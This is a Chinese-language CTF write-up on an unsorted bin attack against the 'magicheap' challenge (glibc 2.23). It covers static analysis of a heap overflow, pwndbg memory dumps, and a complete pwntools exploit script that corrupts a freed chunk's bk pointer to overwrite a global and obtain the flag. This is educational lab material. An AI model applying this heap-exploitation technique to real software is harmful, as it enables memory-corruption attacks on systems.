unsortedbin_attack(例题)

附件下载:

链接:https://pan.baidu.com/s/1uWlZBNqqKBbr3B2O3V62gw
提取码:oqoy
–来自百度网盘超级会员V3的分享

实验环境

image-20230811162522450

libc版本2.23,Linux版本为Ubuntu16.04.4

文件保护

image-20230811162613954

文件开启了Canary和NX保护,64位程序。

IDA静态分析

将程序放到程序中静态分析一下:

main函数

image-20230811162827186

1、creat_heap函数(创建堆块)

image-20230811162913302

这个函数主要是用来创建堆块并向堆块中写入内容的。

2、edit_heap函数(编辑堆块)(任意堆溢出)

image-20230811163205041

程序最多创建9个堆块,并且堆块是从0开始的。这里存在任意堆溢出漏洞。

3、delete_heap(删除堆块)

image-20230811163420944

释放堆块

4、exit函数(退出程序)

输入4,退出程序。

目标(cat flag)

image-20230811163610768

当magic的值大于4869,即可cat flag。

所以我们的目标就是使用unsortedbin_attack将magic的值修改为一个超大值从而篡改执行流。

pwndbg调试

首先熟悉一下程序的内存布局:

创建一个堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
pwndbg> r
Starting program: /root/CTF-PWN/Unsortedbin Attack/magicheap
--------------------------------
Magic Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :1
Size of Heap : 20
Content of heap:aaaaaaaaa
SuccessFul
--------------------------------
Magic Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x0
RCX 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x8
RDI 0x0
RSI 0x7fffffffdec0 —▸ 0x7fffffff0a31 ◂— 0x0
R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R9 0xd
R10 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603020 ◂— 0x0
R11 0x246
R12 0x400790 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdfb0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffded0 —▸ 0x400d50 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdeb8 —▸ 0x400ca7 (main+115) ◂— lea rax, [rbp - 0x10]
RIP 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────
0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff
0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399>

0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8]
0x7ffff7b043a0 <read+80> neg eax
0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax
0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff
0x7ffff7b043a9 <read+89> ret

0x7ffff7b043aa nop word ptr [rax + rax]
0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389], 0 <0x7ffff7dd6740>
0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9>

0x7ffff7b043c9 <write+25> sub rsp, 8
────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdeb8 —▸ 0x400ca7 (main+115) ◂— lea rax, [rbp - 0x10]
01:0008│ rsi 0x7fffffffdec0 —▸ 0x7fffffff0a31 ◂— 0x0
02:00100x7fffffffdec8 ◂— 0x9a91d933f7d9cf00
03:0018│ rbp 0x7fffffffded0 —▸ 0x400d50 (__libc_csu_init) ◂— push r15
04:00200x7fffffffded8 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax
05:00280x7fffffffdee0 ◂— 0x0
06:00300x7fffffffdee8 —▸ 0x7fffffffdfb8 —▸ 0x7fffffffe316 ◂— 0x54432f746f6f722f ('/root/CT')
07:00380x7fffffffdef0 ◂— 0x100000000
──────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────
► f 0 7ffff7b04360 __read_nocancel+7
f 1 400ca7 main+115
f 2 7ffff7a2d840 __libc_start_main+240
Program received signal SIGINT

查看此时的内存情况:

image-20230811163956025

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/16gx 0x6020C0
0x6020c0 <magic>: 0x0000000000000000 0x0000000000000000
#当前magic的值为0
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0 <heaparray>: 0x0000000000603010 0x0000000000000000
#指向chunk_data
0x6020f0 <heaparray+16>: 0x0000000000000000 0x0000000000000000
0x602100 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x602110 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x602120 <heaparray+64>: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021 #chunk
0x603010: 0x6161616161616161 0x0000000000000a61
0x603020: 0x0000000000000000 0x0000000000020fe1 #top_chunk
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000

编辑堆块:

image-20230811164418081

image-20230811164429914

可以看见如果我们输入更长的内容就可以溢出到top_chunk中。

payload

自动化执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def create_heap(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def edit_heap(idx, size, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

创建堆块

1
2
3
4
create_heap(0x20, "1111")  # 0 size=0x20=32
create_heap(0x80, "2222") # 1 size=0x80=128
# in order not to merge into top chunk
create_heap(0x20, "3333") # 2

首先创建两个堆块,第一个堆块是为了后来堆溢出,第二个堆块是为了释放到unsortedbin中,第三个堆块防止第二个堆块释放时被与top_chunk合并。

释放一个不属于fastbin的chunk,并且该chunk不和top_chunk紧邻时,该chunk会首先被放到unsortedbin中。

执行payload之后的内存情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000031 #chunk1
0x603010: 0x0000000a31313131 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000091 #chunk2
0x603040: 0x0000000a32323232 0x0000000000000000
......(省略)
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000031 #chunk3
0x6030d0: 0x0000000a33333333 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000020f11 #top_chunk
0x603100: 0x0000000000000000 0x0000000000000000

释放chunk到unsortedbin中

1
del_heap(1)

执行完后查看内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> x/16gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000031 #chunk1
0x603010: 0x0000000a31313131 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000091 #chunk2
0x603040: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
指向unsortedbin本身
0x603050: 0x0000000000000000 0x0000000000000000
......(省略为空)
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000090 0x0000000000000030 #chunk3
0x6030d0: 0x0000000a33333333 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000020f11 #top_chunk

pwndbg> x/16gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00000000006030f0 #top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x0000000000603030 #unsortedbin
0x7ffff7dd1b90 <main_arena+112>: 0x0000000000603030 0x00007ffff7dd1b88

堆溢出漏洞修改unsortedbin的bk指针

1
2
3
4
5
magic = 0x6020c0
fd = 0
bk = magic - 0x10

edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))

执行payload之后,观察内存情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/16gx 0x603000
00x603000: 0x0000000000000000 0x0000000000000031 #chunk1
0x603010: 0x6161616161616161 0x6161616161616161
0x603020: 0x6161616161616161 0x6161616161616161
0x603030: 0x0000000000000000 0x0000000000000091 chunk2
0x603040: 0x0000000000000000 0x00000000006020b0
#指向target-0x10(target即目标地址,在本程序中就是magic的地址)
0x603050: 0x0000000000000000 0x0000000000000000
......(省略为空)
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000090 0x0000000000000030 #chunk3
0x6030d0: 0x0000000a33333333 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000020f11 #top_chunk

image-20230811170519446

最后创建一个属于unsortedbin大小的堆块,让全局变量magic值变大

1
create_heap(0x80, "4444")  #trigger unsorted bin attack

执行payload后观察内存情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/16gx 0x603000
00x603000: 0x0000000000000000 0x0000000000000031 #chunk1
0x603010: 0x6161616161616161 0x6161616161616161
0x603020: 0x6161616161616161 0x6161616161616161
0x603030: 0x0000000000000000 0x0000000000000091 chunk2
#被malloc
0x603040: 0x0000000a34343434 0x00000000006020b0
#指向target-0x10(target即目标地址,在本程序中就是magic的地址)
0x603050: 0x0000000000000000 0x0000000000000000
......(省略为空)
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000090 0x0000000000000031 #chunk3
0x6030d0: 0x0000000a33333333 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000020f11 #top_chunk

image-20230811170905729

可以看到magic的值被修改的很大,可以通过验证从而篡改执行流。

当我们向程序输入4869时就可以getflag了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
r = process('./magicheap')


def create_heap(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def edit_heap(idx, size, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


create_heap(0x20, "1111") # 0 size=0x20=32
create_heap(0x80, "2222") # 1 size=0x80=128
# in order not to merge into top chunk
create_heap(0x20, "3333") # 2
#gdb.attach(r)
del_heap(1)
#gdb.attach(r)
magic = 0x6020c0
fd = 0
bk = magic - 0x10

edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
#gdb.attach(r)
create_heap(0x80, "4444") #trigger unsorted bin attack
gdb.attach(r)
r.recvuntil(":")
r.sendline("4869")
r.interactive()

image-20230811171112452